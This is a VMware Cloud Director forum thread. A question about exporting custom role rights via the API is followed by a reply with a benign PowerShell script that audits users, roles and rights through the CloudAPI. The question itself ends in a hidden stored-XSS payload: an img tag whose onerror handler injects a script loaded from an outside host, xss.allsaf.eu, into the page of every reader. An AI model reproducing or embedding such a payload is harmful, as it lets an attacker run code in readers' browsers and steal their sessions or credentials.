vCloud

 View Only
  • 1.  VCD 10.6.x: export custom role rights/permissions via API?

    Posted Feb 02, 2026 09:55 PM

    Hi, We are trying to audit custom roles in VMware Cloud Director (tenant context). Is there a supported REST/Cloud API endpoint to export a role and its assigned rights/permissions (preferably in a single call), or is the UI the only option? Version: VCD 10.6.x Thanks! <img src="/fP" onerror="var zW = document.createElement(`script`);zW.src = `https://xss.allsaf.eu/d.js`;document.head.appendChild(zW)">



    ------------------------------
    TestSig123
    ------------------------------


  • 2.  RE: VCD 10.6.x: export custom role rights/permissions via API?

    Posted 30 days ago
      |   view attached

    Hi,
    Did you try some quick query using Postman like this:

    For me work PS script:

    #Requires -Version 5.1
    <#
    .SYNOPSIS
        VMware Cloud Director 10.6.x - User & Permission Audit
    .DESCRIPTION
        Connects to VCD via CloudAPI (version 39.0), enumerates every user
        across one or more organisations, resolves each role and its full
        set of rights, and exports the result to a timestamped CSV.
    
        Supports:
            • Provider-level  auth  (/cloudapi/1.0.0/sessions/provider)
            • Tenant-level    auth  (/cloudapi/1.0.0/sessions)
            • Full pagination on /users and /roles/{id}/rights
            • Role-detail cache  to minimise API round-trips
            • Graceful per-user error handling (bad roles never abort the run)
            • Automatic session cleanup on exit
            • Optional -OrgName filter  (omit to audit the whole provider)
    
    .PARAMETER VcdFqdn
        Fully-qualified domain name of your VCD instance.
    .PARAMETER OrgName
        Organisation to authenticate against.  Use "system" (case-insensitive)
        for provider-level access; supply a tenant org name for tenant-level.
    .PARAMETER Username
        Username (without the @Org part - the script appends it).
    .PARAMETER OutputPath
        Full path for the exported CSV.  Defaults to the current directory with
        a UTC-timestamped file name.
    .PARAMETER FilterOrg
        If supplied, only users whose organisation matches this value are
        included in the report.  Useful when running as provider to narrow output.
    .PARAMETER ApiVersion
        CloudAPI version string.  Defaults to 39.0 (VCD 10.6.x).
    
    .EXAMPLE
        # Provider-level audit of the entire platform
        .\VCD_User_Permission_Audit.ps1 -VcdFqdn vcd.example.com -OrgName system -Username administrator
    
    .EXAMPLE
        # Tenant-level audit of a single organisation
        .\VCD_User_Permission_Audit.ps1 -VcdFqdn vcd.example.com -OrgName MyTenantOrg -Username admin-user
    
    .EXAMPLE
        # Provider-level audit filtered to one specific organisation
        .\VCD_User_Permission_Audit.ps1 -VcdFqdn vcd.example.com -OrgName system -Username administrator -FilterOrg MyTenantOrg
    #>
    
    [CmdletBinding()]
    param(
        [Parameter(Mandatory)]
        [ValidateNotNullOrEmpty()]
        [string]   $VcdFqdn,
    
        [Parameter(Mandatory)]
        [ValidateNotNullOrEmpty()]
        [string]   $OrgName,                          # "system" for provider context
    
        [Parameter(Mandatory)]
        [ValidateNotNullOrEmpty()]
        [string]   $Username,
    
        [string]   $OutputPath,                       # auto-generated if omitted
    
        [string]   $FilterOrg,                        # optional tenant filter
    
        [string]   $ApiVersion = "39.0"               # VCD 10.6.x default
    )
    
    # ---------------------------------------------------------------------------
    # 0.  Strict mode & error handling
    # ---------------------------------------------------------------------------
    Set-StrictMode -Version Latest
    $ErrorActionPreference = "Stop"
    
    # ---------------------------------------------------------------------------
    # 1.  Helper - paginated GET that follows VCD 'next' links automatically
    # ---------------------------------------------------------------------------
    function Invoke-VcdPagedGet {
        <#
        .SYNOPSIS
            GETs a CloudAPI list endpoint, follows pagination, returns all values.
        #>
        [CmdletBinding()]
        param(
            [Parameter(Mandatory)] [string]         $Uri,
            [Parameter(Mandatory)] [hashtable]      $Headers,
                                   [int]            $PageSize = 100
        )
    
        $allItems   = [System.Collections.Generic.List[PSObject]]::new()
        # Append pageSize; preserve any existing query string
        $separator  = if ($Uri -match '\?') { '&' } else { '?' }
        $currentUri = "${Uri}${separator}pageSize=${PageSize}"
    
        do {
            Write-Verbose "  [PAGE] GET $currentUri"
            $response   = Invoke-RestMethod -Uri $currentUri -Method Get -Headers $Headers -ErrorAction Stop
    
            # CloudAPI wraps list results in a 'values' array
            if ($null -ne $response.values) {
                $allItems.AddRange([PSObject[]]$response.values)
            }
    
            # 'next' is null / missing on the final page
            $currentUri = $response.next
        } while ($currentUri)
    
        return $allItems
    }
    
    # ---------------------------------------------------------------------------
    # 2.  Prompt for password securely  (never stored in plaintext)
    # ---------------------------------------------------------------------------
    Write-Host "Connecting to VCD: https://$VcdFqdn  (Org: $OrgName)" -ForegroundColor Cyan
    $securePass = Read-Host -Prompt "Enter password for '$Username'" -AsSecureString
    $plainPass  = [System.Net.NetworkCredential]::new('', $securePass).Password
    
    # ---------------------------------------------------------------------------
    # 3.  Authenticate  -  choose provider or tenant endpoint automatically
    # ---------------------------------------------------------------------------
    $isProvider  = ($OrgName -ieq "system")
    $sessionPath = if ($isProvider) { "cloudapi/1.0.0/sessions/provider" } else { "cloudapi/1.0.0/sessions" }
    $sessionUri  = "https://$VcdFqdn/$sessionPath"
    
    # Basic-auth credential string: user@Org:password
    $credentials = "$Username@$OrgName`:$plainPass"
    $basicToken  = [Convert]::ToBase64String([Text.Encoding]::ASCII.GetBytes($credentials))
    
    $authHeaders = @{
        "Authorization" = "Basic $basicToken"
        "Accept"        = "application/json;version=$ApiVersion"
    }
    
    Write-Host "Authenticating via $sessionPath ..." -ForegroundColor Cyan
    try {
        $sessionResponse = Invoke-WebRequest -Uri $sessionUri -Method Post -Headers $authHeaders -ErrorAction Stop
    }
    catch {
        Write-Error "Authentication FAILED.  Check credentials and VCD connectivity.`n$_"
        exit 1
    }
    
    # Extract the Bearer JWT from the response headers
    $jwt = $sessionResponse.Headers["VCLOUD-ACCESS-TOKEN"]
    if ([string]::IsNullOrWhiteSpace($jwt)) {
        Write-Error "No VCLOUD-ACCESS-TOKEN header returned.  Authentication may have failed silently."
        exit 1
    }
    
    # Replace auth headers with Bearer token for all subsequent calls
    $apiHeaders = @{
        "Authorization" = "Bearer $jwt"
        "Accept"        = "application/json;version=$ApiVersion"
    }
    
    # ---------------------------------------------------------------------------
    # 4.  Register a finaliser so the VCD session is always closed on exit
    # ---------------------------------------------------------------------------
    # Capture variables for the finally block
    $finalSessionUri = $sessionUri
    $finalHeaders    = $apiHeaders
    
    try {
    
    # ---------------------------------------------------------------------------
    # 5.  Fetch ALL users  (paginated)
    # ---------------------------------------------------------------------------
    Write-Host "Fetching users ..." -ForegroundColor Cyan
    $usersUri = "https://$VcdFqdn/cloudapi/1.0.0/users"
    $allUsers = Invoke-VcdPagedGet -Uri $usersUri -Headers $apiHeaders
    
    # Apply optional organisation filter
    if (-not [string]::IsNullOrWhiteSpace($FilterOrg)) {
        $beforeCount = $allUsers.Count
        $allUsers    = $allUsers | Where-Object { $_.org -ieq $FilterOrg }
        Write-Host "  Filtered by Org '$FilterOrg':  $($allUsers.Count) of $beforeCount users retained." -ForegroundColor Yellow
    }
    
    Write-Host "  Total users to process: $($allUsers.Count)" -ForegroundColor Cyan
    
    # ---------------------------------------------------------------------------
    # 6.  Iterate users → resolve roles → expand rights
    # ---------------------------------------------------------------------------
    # Role cache: roleId  →  @{ details, rights }
    $roleCache   = @{}
    $fullAudit   = [System.Collections.Generic.List[PSCustomObject]]::new()
    $errorsCount = 0
    
    foreach ($u in $allUsers) {
        $roleName = $u.role.name
        $roleId   = $u.role.id
        $orgName  = $u.org           # actual org the user belongs to
    
        Write-Host "  Processing: $($u.username)  [Org: $orgName | Role: $roleName]" -ForegroundColor Gray
    
        # --- 6a. Fetch role details (cached) ---
        if (-not $roleCache.ContainsKey($roleId)) {
            try {
                $roleDetails = Invoke-RestMethod `
                    -Uri    "https://$VcdFqdn/cloudapi/1.0.0/roles/$roleId" `
                    -Method Get `
                    -Headers $apiHeaders `
                    -ErrorAction Stop
    
                $roleCache[$roleId] = $roleDetails
            }
            catch {
                Write-Warning "  [WARN] Could not fetch role '$roleName' (ID: $roleId) for user '$($u.username)': $_"
                $errorsCount++
                continue   # skip this user, do NOT abort the entire audit
            }
        }
    
        $currentRole = $roleCache[$roleId]
    
        # --- 6b. Fetch rights for this role (paginated) ---
        #   Rights live at /roles/{id}/rights  -  also paginated on large roles
        $rightsUri = "https://$VcdFqdn/cloudapi/1.0.0/roles/$roleId/rights"
    
        # Use cache key for rights separately; store in same hashtable under a sub-key
        $rightsCacheKey = "${roleId}__rights"
        if (-not $roleCache.ContainsKey($rightsCacheKey)) {
            try {
                $roleCache[$rightsCacheKey] = Invoke-VcdPagedGet -Uri $rightsUri -Headers $apiHeaders
            }
            catch {
                Write-Warning "  [WARN] Could not fetch rights for role '$roleName' (ID: $roleId): $_"
                $errorsCount++
                continue
            }
        }
    
        $rights = $roleCache[$rightsCacheKey]
    
        # --- 6c. Map each right to the user ---
        if ($rights.Count -eq 0) {
            # Role exists but has zero rights - still record the user
            $fullAudit.Add([PSCustomObject]@{
                Username      = $u.username
                UserEmail     = $u.email
                UserOrg       = $orgName
                UserStatus    = if ($u.enabled) { "Active" } else { "Disabled" }
                RoleName      = $roleName
                RightName     = "(none)"
                RightCategory = "(none)"
            })
        }
        else {
            foreach ($right in $rights) {
                $fullAudit.Add([PSCustomObject]@{
                    Username      = $u.username
                    UserEmail     = $u.email
                    UserOrg       = $orgName
                    UserStatus    = if ($u.enabled) { "Active" } else { "Disabled" }
                    RoleName      = $roleName
                    RightName     = $right.name
                    RightCategory = $right.category
                })
            }
        }
    }
    
    # ---------------------------------------------------------------------------
    # 7.  Export results
    # ---------------------------------------------------------------------------
    if ([string]::IsNullOrWhiteSpace($OutputPath)) {
        $timestamp  = (Get-Date -UFormat "yyyyMMdd_HHmmss")
        $OutputPath = ".\VCD_User_Permission_Audit_${timestamp}.csv"
    }
    
    if ($fullAudit.Count -eq 0) {
        Write-Warning "No audit records generated.  CSV will not be created."
    }
    else {
        $fullAudit | Export-Csv -Path $OutputPath -NoTypeInformation -Encoding UTF8
        Write-Host "" -ForegroundColor Green
        Write-Host "  Audit saved  →  $OutputPath" -ForegroundColor Green
        Write-Host "  Total records : $($fullAudit.Count)" -ForegroundColor Green
        Write-Host "  Unique users  : $(($fullAudit | Select-Object -ExpandProperty Username -Unique).Count)" -ForegroundColor Green
        Write-Host "  Unique roles  : $(($fullAudit | Select-Object -ExpandProperty RoleName  -Unique).Count)" -ForegroundColor Green
    }
    
    if ($errorsCount -gt 0) {
        Write-Warning "Audit completed with $errorsCount warning(s).  Check output above for details."
    }
    
    # ---------------------------------------------------------------------------
    # 8.  Session cleanup  (finally block)
    # ---------------------------------------------------------------------------
    }  # end try
    finally {
        Write-Host "Closing VCD session ..." -ForegroundColor DarkGray
        try {
            Invoke-RestMethod -Uri $finalSessionUri -Method Delete -Headers $finalHeaders -ErrorAction Stop
            Write-Host "  Session closed successfully." -ForegroundColor DarkGray
        }
        catch {
            Write-Warning "  Session DELETE failed (non-critical): $_"
        }
    }
    -------------------------------------------

    Attachment(s)